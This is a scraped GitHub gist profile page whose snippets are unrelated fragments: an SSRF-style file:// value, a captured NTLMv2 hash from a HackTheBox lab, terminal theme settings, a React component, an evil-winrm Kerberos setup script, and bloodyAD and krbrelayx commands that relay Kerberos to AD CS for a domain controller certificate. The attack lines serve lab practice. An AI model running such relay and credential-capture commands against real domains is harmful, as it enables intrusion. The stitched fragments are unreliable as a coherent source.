Skip to content

Instantly share code, notes, and snippets.

View RajChowdhury240's full-sized avatar
💻
just another learner

Raj Chowdhury RajChowdhury240

💻
just another learner
  • Confidential
  • $ aws sts get-caller-identity
  • 19:53 (UTC +10:00)
View GitHub Profile
import requests
from rich.console import Console
from rich.table import Table
import urllib.parse
import time
console = Console()
base_url = "http://35.167.186.122/"
import requests
url = 'http://example.com'
headers = {'User-Agent': 'MyApp/1.0'}
response = requests.get(url, headers=headers)
print(response.headers)
station_url = 'file:///var/www/html/.git/HEAD'
https://fzl-aws.notion.site/RBCD-Using-NXC-1f3b231ab1b680ed985bc2ed8e32ee3f?pvs=4
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:10.10.10.248
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:c96717a8d336a67a:DD21608A7B1997FE257CE4C1B7B91E53:0101000000000000661433F02901D9010BA8841794BACC860000000002000800590051005400550001001E00570049004E002D00310055004C003200310059004C0048004C00550059000400140059005100540055002E004C004F00430041004C0003003400570049004E002D00310055004C003200310059004C0048004C00550059002E0059005100540055002E004C004F00430041004C000500140059005100540055002E004C004F00430041004C000800300030000000000000000000000000200000A172EB2D5A3E1BA52CF11B1F413401BB13FE7EE922DD13DE44CDF2A76593D0260A0010000000000000000000000000000000000009003C0048005400540050002F0077006500620072006F0063006B0079002E0069006E00740065006C006C006900670065006E00630065002E006800740062000000000000000000
foreground = c0caf5
background = 000000




theme = Dark Pastel
foreground = c0caf5
background = 000000
theme = Dark Pastel
'use client'
import React from "react"
import { Sparkles } from "lucide-react"
import { motion } from "framer-motion"
const Card = ({ children }: { children: React.ReactNode }) => (
<div className="bg-white/5 backdrop-blur-xl border border-white/10 rounded-2xl shadow-2xl">
{children}
</div>
"""
This script can easily configure /etc/krb5.conf for evil-winrm, by providing a domain fqdn and domain controller name
So that evil-winrm can be used with kerberos authentication
Evil-winrm Example:
```bash
export KRB5CCNAME=Administrator.ccache
evil-winrm -i forest.htb.local -r htb.local
```
https://fzl-aws.notion.site/Vintage-HTB-1e4b231ab1b680a5a407e2a59ca58201?pvs=4
 ❯ bloodyAD --host DC-JPQ225.cicada.vl -u 'rosie.powell' -p 'Cicada123' -k -d 'cicada.vl' add dnsRecord 'dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.8.4.206
[+] dc-jpq2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added
❯ python3.12 krbrelayx.py -t 'http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp' --adcs --template DomainController -v 'DC-JPQ225$'
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAPS loaded..